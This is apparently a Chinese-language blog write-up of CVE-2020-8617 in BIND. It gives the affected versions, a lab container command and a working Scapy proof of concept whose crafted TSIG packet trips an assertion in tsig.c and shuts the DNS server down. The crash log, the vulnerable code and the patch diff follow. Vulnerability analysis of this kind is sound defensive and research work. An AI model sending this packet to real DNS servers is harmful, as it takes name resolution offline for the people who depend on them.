CVE-2020-8617是由检查 TSIG 合理性的验证代码中的逻辑错误引发的,攻击者可以通过精心构造的payload触发 `tsig.c` 的失败断言,导致拒绝服务攻击。
### 时间线
- 报告时间:
- 修复时间:
- 披露时间: 2020-5-19
### 漏洞影响范围
- 9.0.0 - 9.11.18
- 9.12.0 - 9.12.4-P2
- 9.14.0 - 9.14.11
- 9.16.0 - 9.16.2
- 9.13 / 9.15 / 9.17.0 development branch
- 9.9.3-S1 - 9.11.18-S1
## 复现
### 复现环境
```bash
docker run --rm --name cve-2020-8617 -it -p 53:53/udp knqyf263/cve-2020-8617
```
### PoC
```python
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
```
## 漏洞分析
漏洞触发点是在 `tsig.c` `dns_tsig_sign` 函数。
```c
isc_result_t
dns_tsig_sign(dns_message_t *msg) {
...
if (response && msg->querytsig != NULL) {
dns_rdata_t querytsigrdata = DNS_RDATA_INIT;
INSIST(msg->verified_sig);
...
}
```
运行PoC后报错为如下:
```
01-Jul-2020 11:00:20.386 client @0x7fef400c4900 127.0.0.1#40631: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME)
01-Jul-2020 11:00:20.386 tsig.c:869: INSIST(msg->verified_sig) failed
01-Jul-2020 11:00:20.386 exiting (due to assertion failure)
```
此时程序停止运行。
漏洞的 Patch 在 `tsig.c` 的 `dns_tsig_verify` 函数中
```diff
@@ -1360,8 +1360,8 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
goto cleanup_context;
}
msg->verified_sig = 1;
} else if (tsig.error != dns_tsigerror_badsig &&
tsig.error != dns_tsigerror_badkey)
} else if (!response || (tsig.error != dns_tsigerror_badsig &&
tsig.error != dns_tsigerror_badkey))
{
tsig_log(msg->tsigkey, 2, "signature was empty");
return (DNS_R_TSIGVERIFYFAILURE);
@@ -1409,7 +1409,7 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
}
}
if (tsig.error != dns_rcode_noerror) {
if (response && tsig.error != dns_rcode_noerror) {
msg->tsigstatus = tsig.error;
if (tsig.error == dns_tsigerror_badtime) {
ret = DNS_R_CLOCKSKEW;
```
其中 if 条件的 response 代表是请求还是响应,`if else` 之前的条件为 `if (tsig.siglen > 0) {` 。
经过比较并结合PoC很容易分析出,这里是因为没有处理请求中 `siglen` 为0的情况,`dns_tsig_verify` 函数没有返回异常,代码继续运行,最后造成了校验不通过。
暂无评论